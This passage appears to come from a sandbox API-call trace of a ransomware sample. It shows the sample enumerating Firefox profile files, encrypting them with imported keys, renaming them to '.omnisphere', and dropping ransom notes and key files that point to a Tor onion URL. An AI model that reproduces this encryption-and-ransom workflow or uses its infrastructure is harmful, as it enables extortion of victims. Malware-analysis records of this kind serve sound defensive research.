hFindFile=0x1639ae8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0155.526] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 0 [0155.526] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0155.526] GetProcessHeap () returned 0x1600000 [0155.526] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16b1738 | out: hHeap=0x1600000) returned 1 [0155.526] GetProcessHeap () returned 0x1600000 [0155.526] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16b0bf0 | out: hHeap=0x1600000) returned 1 [0155.526] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0155.526] GetProcessHeap () returned 0x1600000 [0155.526] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x80) returned 0x1668a38 [0155.526] PathCombineW (in: pszDest=0x1668a38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox", pszFile="Profiles" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0155.526] GetProcessHeap () returned 0x1600000 [0155.526] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x84) returned 0x1633138 [0155.526] PathCombineW (in: pszDest=0x1633138, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*" [0155.526] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd5, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0155.527] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd5, cFileName="..", cAlternateFileName="")) returned 1 [0155.527] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb83449e5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb83449e5, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd5, cFileName="w7cr0hor.default", cAlternateFileName="W7CR0H~1.DEF")) returned 1 [0155.527] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb83449e5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb83449e5, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd5, cFileName="w7cr0hor.default", cAlternateFileName="W7CR0H~1.DEF")) returned 0 [0155.527] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0155.527] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0155.528] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0155.528] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb83449e5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb83449e5, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="w7cr0hor.default", cAlternateFileName="W7CR0H~1.DEF")) returned 1 [0155.528] GetProcessHeap () returned 0x1600000 [0155.528] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa2) returned 0x162cec8 [0155.528] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", pszFile="w7cr0hor.default" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default" [0155.528] GetProcessHeap () returned 0x1600000 [0155.528] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e0a8 [0155.528] PathCombineW (in: pszDest=0x162e0a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\*" [0155.528] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb83449e5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb83449e5, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0155.530] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb83449e5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb83449e5, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="..", cAlternateFileName="")) returned 1 [0155.532] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a3ab44, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a3ab44, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a3ab44, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0xcc, cFileName="addons.json", cAlternateFileName="ADDONS~1.JSO")) returned 1 [0155.532] GetProcessHeap () returned 0x1600000 [0155.532] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xba) returned 0x16415f0 [0155.532] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="addons.json" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json" [0155.532] StrStrW (lpFirst=".omnisphere", lpSrch=".json") returned 0x0 [0155.533] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\addons.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0155.534] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=24) returned 1 [0155.534] GetTickCount () returned 0x1166a89 [0155.534] GetTickCount () returned 0x1166a89 [0155.534] GetTickCount () returned 0x1166a89 [0155.534] GetTickCount () returned 0x1166a89 [0155.534] GetTickCount () returned 0x1166a89 [0155.534] GetTickCount () returned 0x1166a89 [0155.534] GetTickCount () returned 0x1166a89 [0155.534] GetTickCount () returned 0x1166a89 [0155.534] GetTickCount () returned 0x1166a89 [0155.534] GetTickCount () returned 0x1166a89 [0155.534] GetTickCount () returned 0x1166a89 [0155.534] GetTickCount () returned 0x1166a89 [0155.534] GetTickCount () returned 0x1166a89 [0155.534] GetTickCount () returned 0x1166a89 [0155.534] GetTickCount () returned 0x1166a89 [0155.534] GetTickCount () returned 0x1166a89 [0155.534] GetTickCount () returned 0x1166a89 [0155.534] GetTickCount () returned 0x1166a89 [0155.534] GetTickCount () returned 0x1166a89 [0155.534] GetTickCount () returned 0x1166a89 [0155.535] GetTickCount () returned 0x1166a89 [0155.535] GetTickCount () returned 0x1166a89 [0155.535] GetTickCount () returned 0x1166a89 [0155.535] GetTickCount () returned 0x1166a89 [0155.535] GetTickCount () returned 0x1166a89 [0155.535] GetTickCount () returned 0x1166a89 [0155.535] GetTickCount () returned 0x1166a89 [0155.535] GetTickCount () returned 0x1166a89 [0155.535] GetTickCount () returned 0x1166a89 [0155.535] GetTickCount () returned 0x1166a89 [0155.535] GetTickCount () returned 0x1166a89 [0155.535] GetTickCount () returned 0x1166a89 [0155.535] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1669098) returned 1 [0155.536] CryptImportKey (in: hProv=0x1669098, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b28) returned 1 [0155.536] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0155.536] CryptDestroyKey (hKey=0x1639b28) returned 1 [0155.536] CryptReleaseContext (hProv=0x1669098, dwFlags=0x0) returned 1 [0155.536] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18, lpName=0x0) returned 0x3c0 [0155.536] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18) returned 0x1480000 [0155.536] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16691a8) returned 1 [0155.537] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639528) returned 1 [0155.537] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0155.537] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0155.537] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.537] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.537] CryptDestroyKey (hKey=0x1639528) returned 1 [0155.537] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0155.537] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0155.537] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0155.539] GetProcessHeap () returned 0x1600000 [0155.539] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ca) returned 0x1732508 [0155.539] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\addons.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\addons.json.omnisphere")) returned 1 [0155.541] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json.omnisphere.id" [0155.541] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\addons.json.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.541] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0155.542] CloseHandle (hObject=0x388) returned 1 [0155.542] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0155.543] CloseHandle (hObject=0x3c0) returned 1 [0155.543] SetEndOfFile (hFile=0x288) returned 1 [0155.543] FlushFileBuffers (hFile=0x288) returned 1 [0155.548] CloseHandle (hObject=0x288) returned 1 [0155.548] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0155.548] GetProcessHeap () returned 0x1600000 [0155.548] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17327e0 [0155.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0155.548] GetProcessHeap () returned 0x1600000 [0155.548] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fd708 [0155.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fd708, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0155.548] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0155.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0155.548] GetProcessHeap () returned 0x1600000 [0155.548] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726bb8 [0155.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726bb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0155.548] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0155.548] GetProcessHeap () returned 0x1600000 [0155.549] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1731160 [0155.549] PathCombineW (in: pszDest=0x1731160, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0155.549] GetProcessHeap () returned 0x1600000 [0155.549] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1721378 [0155.549] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0155.550] WriteFile (in: hFile=0x288, lpBuffer=0x1721378*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1721378*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0155.551] CloseHandle (hObject=0x288) returned 1 [0155.551] GetProcessHeap () returned 0x1600000 [0155.551] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17327e0 | out: hHeap=0x1600000) returned 1 [0155.551] GetProcessHeap () returned 0x1600000 [0155.551] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c048 [0155.551] PathCombineW (in: pszDest=0x162c048, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0155.551] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0155.553] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0155.554] CloseHandle (hObject=0x288) returned 1 [0155.554] GetProcessHeap () returned 0x1600000 [0155.554] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c048 | out: hHeap=0x1600000) returned 1 [0155.554] GetProcessHeap () returned 0x1600000 [0155.554] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0155.554] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea98376, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfea98376, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfea98376, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x291, dwReserved0=0x0, dwReserved1=0xcc, cFileName="addonStartup.json.lz4", cAlternateFileName="ADDONS~1.LZ4")) returned 1 [0155.554] GetProcessHeap () returned 0x1600000 [0155.554] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xce) returned 0x1625bd8 [0155.554] PathCombineW (in: pszDest=0x1625bd8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="addonStartup.json.lz4" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addonStartup.json.lz4") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addonStartup.json.lz4" [0155.554] StrStrW (lpFirst=".omnisphere", lpSrch=".lz4") returned 0x0 [0155.554] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addonStartup.json.lz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\addonstartup.json.lz4"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0155.556] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=657) returned 1 [0155.556] GetTickCount () returned 0x1166a98 [0155.556] GetTickCount () returned 0x1166a98 [0155.556] GetTickCount () returned 0x1166a98 [0155.556] GetTickCount () returned 0x1166a98 [0155.556] GetTickCount () returned 0x1166a98 [0155.556] GetTickCount () returned 0x1166a98 [0155.556] GetTickCount () returned 0x1166a98 [0155.556] GetTickCount () returned 0x1166a98 [0155.556] GetTickCount () returned 0x1166a98 [0155.556] GetTickCount () returned 0x1166a98 [0155.556] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] GetTickCount () returned 0x1166a98 [0155.557] CryptAcquireContextW (in: phProv=0x3e0cd58, 